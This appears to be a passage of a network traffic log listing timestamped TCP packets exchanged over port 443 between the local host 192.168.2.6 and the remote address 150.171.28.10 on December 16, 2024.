Dec 16, 2024 15:01:18.554769993 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.556538105 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.556603909 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.556632042 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.556663990 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.556679964 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.556883097 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.560641050 CET	443	49735	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.560663939 CET	443	49735	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.560704947 CET	49735	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.560715914 CET	443	49735	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.560741901 CET	49735	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.560754061 CET	49735	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.563457012 CET	443	49732	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.563477039 CET	443	49732	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.563524008 CET	49732	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.563541889 CET	443	49732	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.563575983 CET	49732	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.563596010 CET	49732	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.566065073 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.566083908 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.566162109 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.566178083 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.566234112 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.566885948 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.566903114 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.566951036 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.566957951 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.566981077 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.566999912 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.567804098 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.567837954 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.567876101 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.567884922 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.567919016 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.567938089 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.572491884 CET	443	49735	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.572510958 CET	443	49735	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.572563887 CET	49735	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.572573900 CET	443	49735	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.572611094 CET	49735	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.574793100 CET	443	49732	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.574810982 CET	443	49732	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.574863911 CET	49732	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.574879885 CET	443	49732	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.574924946 CET	49732	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.574995995 CET	49732	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.576951027 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.576987028 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.577033997 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.577048063 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.577076912 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.577109098 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.578613043 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.578649998 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.578669071 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.578687906 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.578689098 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.578701019 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.578774929 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.578783989 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.578811884 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.578821898 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.583659887 CET	443	49735	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.583678961 CET	443	49735	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.583722115 CET	49735	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.583731890 CET	443	49735	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.583760023 CET	49735	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.583772898 CET	49735	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.586199045 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.586204052 CET	443	49732	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.586220980 CET	443	49732	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.586230993 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.586282015 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.586307049 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.586355925 CET	49732	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.586355925 CET	49732	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.586355925 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.586383104 CET	443	49732	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.586417913 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.586502075 CET	49732	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.587491989 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.587553024 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.587579966 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.587610006 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.587625027 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.587837934 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.588620901 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.588648081 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.588676929 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.588685036 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.588717937 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.588736057 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.592735052 CET	443	49735	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.592772007 CET	443	49735	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.592838049 CET	49735	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.592848063 CET	443	49735	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.592875004 CET	49735	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.592889071 CET	49735	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.595690012 CET	443	49732	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.595709085 CET	443	49732	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.595778942 CET	49732	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.595798016 CET	443	49732	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.595827103 CET	49732	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.595849037 CET	49732	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.596508980 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.596545935 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.596617937 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.596617937 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.596633911 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.596709967 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.597508907 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.597563982 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.597603083 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.597628117 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.597646952 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.597666979 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.600106955 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.600147009 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.600194931 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.600203037 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.600254059 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.603302956 CET	443	49735	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.603336096 CET	443	49735	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.603369951 CET	49735	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.603378057 CET	443	49735	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.603435040 CET	49735	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.606019974 CET	443	49732	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.606045961 CET	443	49732	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.606112003 CET	49732	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.606169939 CET	443	49732	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.606215954 CET	49732	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.606247902 CET	49732	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.606993914 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.607022047 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.607058048 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.607089043 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.607105017 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.607125044 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.607208967 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.607225895 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.607285023 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.607362986 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.607414961 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.607549906 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.611653090 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.611685038 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.611726046 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.611735106 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.611772060 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.611793041 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.613935947 CET	443	49735	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.613954067 CET	443	49735	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.614025116 CET	49735	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.614033937 CET	443	49735	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.614070892 CET	49735	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.616944075 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.616966009 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.617026091 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.617068052 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.617100000 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.617122889 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.617157936 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.617207050 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.617237091 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.617248058 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.617269993 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.617273092 CET	443	49732	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.617292881 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.617297888 CET	443	49732	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.617333889 CET	49732	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.617350101 CET	443	49732	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.617377043 CET	49732	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.617604971 CET	49732	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.622411966 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.622442007 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.622468948 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.622474909 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.622514009 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.623632908 CET	443	49735	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.623651981 CET	443	49735	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.623718023 CET	49735	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.623724937 CET	443	49735	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.623764992 CET	49735	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.627306938 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.627340078 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.627412081 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.627425909 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.627458096 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.627476931 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.627599955 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.627618074 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.627677917 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.627712965 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.627974033 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.628463984 CET	443	49732	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.628482103 CET	443	49732	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.628549099 CET	49732	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.628565073 CET	443	49732	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.628596067 CET	49732	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.628614902 CET	49732	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.632616043 CET	443	49735	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.632689953 CET	49735	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.632694960 CET	443	49735	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.632705927 CET	443	49735	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.632715940 CET	443	49735	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.632734060 CET	49735	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.632755995 CET	49735	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.633789062 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.633812904 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.633852005 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.633858919 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.633883953 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.633904934 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.635231972 CET	49735	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.635246038 CET	443	49735	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.745687962 CET	443	49732	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.745723963 CET	443	49732	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.745779037 CET	49732	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.745810986 CET	443	49732	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.745830059 CET	49732	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.745846987 CET	49732	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.747184992 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.747215986 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.747256994 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.747283936 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.747306108 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.747329950 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.748126030 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.748152971 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.748209953 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.748281002 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.748317957 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.748379946 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.748738050 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.748759985 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.748806000 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.748821974 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.748842955 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.748892069 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.754236937 CET	443	49732	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.754254103 CET	443	49732	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.754303932 CET	49732	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.754329920 CET	443	49732	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.754344940 CET	49732	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.754434109 CET	49732	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.755299091 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.755347013 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.755361080 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.755367994 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.755407095 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.756808996 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.756836891 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.756874084 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.756901026 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.756916046 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.756953955 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.757380962 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.757402897 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.757446051 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.757469893 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.757484913 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.757505894 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.758136034 CET	443	49732	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.758198977 CET	49732	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.758213043 CET	443	49732	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.758254051 CET	49732	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.758254051 CET	443	49732	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.758502960 CET	49732	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.762950897 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.762969971 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.763034105 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.763041973 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.763209105 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.764842033 CET	49732	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.764872074 CET	443	49732	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.765600920 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.765635967 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.765656948 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.765683889 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.765698910 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.765717983 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.765825033 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.765850067 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.765898943 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.765916109 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.765933037 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.765985012 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.770874977 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.770962000 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.771038055 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.771038055 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.771064997 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.771130085 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.773354053 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.773384094 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.773427963 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.773451090 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.773473024 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.773485899 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.774595022 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.774622917 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.774668932 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.774688959 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.777139902 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.777139902 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.778835058 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.778855085 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.778908014 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.778918028 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.778950930 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.778970003 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.781640053 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.781665087 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.781716108 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.781738997 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.781765938 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.781785011 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.782007933 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.782037020 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.782063961 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.782080889 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.782102108 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.782129049 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.786221981 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.786243916 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.786312103 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.786324978 CET	443	49731	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.786355019 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.786376953 CET	49731	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.790174961 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.790199041 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.790249109 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.790272951 CET	443	49734	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.790316105 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.790328026 CET	49734	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.790785074 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.790808916 CET	443	49733	150.171.28.10	192.168.2.6
Dec 16, 2024 15:01:18.790873051 CET	49733	443	192.168.2.6	150.171.28.10
Dec 16, 2024 15:01:18.790899992 CET	443	49733	150.171.28.10	192.168.2.6
